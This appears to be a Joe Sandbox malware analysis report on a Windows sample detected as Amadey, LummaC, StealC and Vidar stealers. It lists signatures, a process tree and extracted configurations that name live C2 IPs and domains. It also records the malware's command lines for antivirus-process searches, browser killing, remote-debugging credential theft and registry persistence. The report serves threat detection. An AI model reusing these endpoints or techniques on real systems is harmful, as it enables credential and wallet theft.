Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1579344
MD5:	f82416bcf25171ccfda8e9325c3a92dc
SHA1:	9db33361a9cb34b352a9fe17ea06a659b247bbbc
SHA256:	3d8bd5d204ef586f2958455a4f57cd493580978c83c34759839dcdd5e4d9f120
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files with a suspicious file extension

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4140 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F82416BCF25171CCFDA8E9325C3A92DC)

skotes.exe (PID: 1976 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: F82416BCF25171CCFDA8E9325C3A92DC)

skotes.exe (PID: 2696 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F82416BCF25171CCFDA8E9325C3A92DC)

skotes.exe (PID: 6592 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: F82416BCF25171CCFDA8E9325C3A92DC)

EUCyhuW.exe (PID: 6496 cmdline: "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe" MD5: D6D3AB7208760962B95BE3EEB224C1AC)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EUCyhuW.exe (PID: 344 cmdline: "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe" MD5: D6D3AB7208760962B95BE3EEB224C1AC)

WerFault.exe (PID: 2504 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6496 -s 304 MD5: C31336C1EFC2CCB44B4326EA793040F2)

SurveillanceWalls.exe (PID: 1396 cmdline: "C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe" MD5: 5A909C9769920208ED3D4D7279F08DE5)

cmd.exe (PID: 7032 cmdline: "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5540 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5436 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 2876 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2252 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6136 cmdline: cmd /c md 370821 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 4456 cmdline: findstr /V "Anchor" Veterinary MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6664 cmdline: cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Sale.com (PID: 4748 cmdline: Sale.com w MD5: 62D09F076E6E0240548C2F837536A46A)

choice.exe (PID: 5012 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

hYW0tgm.exe (PID: 4744 cmdline: "C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe" MD5: B251CF9E14AA07B1A2E506AD4EE0028C)

17ce3a84e4.exe (PID: 3452 cmdline: "C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe" MD5: 87330F1877C33A5A6203C49075223B16)

412ec13ac5.exe (PID: 5804 cmdline: "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 5808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

412ec13ac5.exe (PID: 4788 cmdline: "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

580c9354ec.exe (PID: 6008 cmdline: "C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe" MD5: 26F1B241A64F088FA3113C4587F12D50)

9f6ea82062.exe (PID: 932 cmdline: "C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe" MD5: C4B3E529888B95D857AB1B2E80B1521E)

chrome.exe (PID: 4224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5728 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1916,i,5817995298996924960,10670888794113214286,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

51ecf08926.exe (PID: 1844 cmdline: "C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe" MD5: 3D0A0F60AC258C89AFDFD9F471DBF8F7)

taskkill.exe (PID: 3780 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6136 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1272 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 64 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5688 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1672 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3280 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

5936bfa4af.exe (PID: 6812 cmdline: "C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe" MD5: F2F8D2D15D376C6CD78647595E4328CA)

9f6ea82062.exe (PID: 3940 cmdline: "C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe" MD5: C4B3E529888B95D857AB1B2E80B1521E)

51ecf08926.exe (PID: 3208 cmdline: "C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe" MD5: 3D0A0F60AC258C89AFDFD9F471DBF8F7)

firefox.exe (PID: 5748 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4440 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["energyaffai.lat", "sustainskelet.lat", "crosshuaht.lat", "grannyejh.lat", "bellflamre.click", "discokeyus.lat", "aspecteirs.lat", "rapeflowwj.lat", "necklacebudi.lat"], "Build id": "LPnhqo--pndzrnkjnmnw"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001E.00000003.3598848162.0000000001138000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3614760975.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3572256199.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2887885665.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3466744227.0000000001176000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000024.00000002.4203714163.0000000000A51000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000003.3308819951.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2889042019.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2913722505.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3803442222.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000003.3479771297.0000000001138000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2887992510.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.3942624190.0000000000A51000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.3468708215.0000000001123000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000024.00000003.3428194939.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000003.2887459258.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2913252442.0000000000E97000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000024.00000002.4260064567.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.3593252563.000000000111D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: EUCyhuW.exe PID: 344	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: EUCyhuW.exe PID: 344	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: EUCyhuW.exe PID: 344	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 412ec13ac5.exe PID: 4788	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 412ec13ac5.exe PID: 4788	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 412ec13ac5.exe PID: 4788	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 580c9354ec.exe PID: 6008	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 580c9354ec.exe PID: 6008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9f6ea82062.exe PID: 932	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 9f6ea82062.exe PID: 932	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9f6ea82062.exe PID: 932	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9f6ea82062.exe PID: 932	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 51ecf08926.exe PID: 1844	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 9f6ea82062.exe PID: 3940	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9f6ea82062.exe PID: 3940	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.EUCyhuW.exe.400000.1.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
9.2.EUCyhuW.exe.400000.1.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.file.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.6c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.6c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6592, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\580c9354ec.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe, ParentProcessId: 932, ParentProcessName: 9f6ea82062.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 4224, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6592, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\580c9354ec.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7032, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 2252, ProcessName: findstr.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["energyaffai.lat", "sustainskelet.lat", "crosshuaht.lat", "grannyejh.lat", "bellflamre.click", "discokeyus.lat", "aspecteirs.lat", "rapeflowwj.lat", "necklacebudi.lat"], "Build id": "LPnhqo--pndzrnkjnmnw"}
Source: 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[3].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1019601001\a53907268b.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1019603001\d0c6b9d6b8.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\1019604001\0c0e50df68.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 58%			Perma Link
Source: file.exe	ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\hYW0tgm[1].exe	Joe Sandbox ML: detected
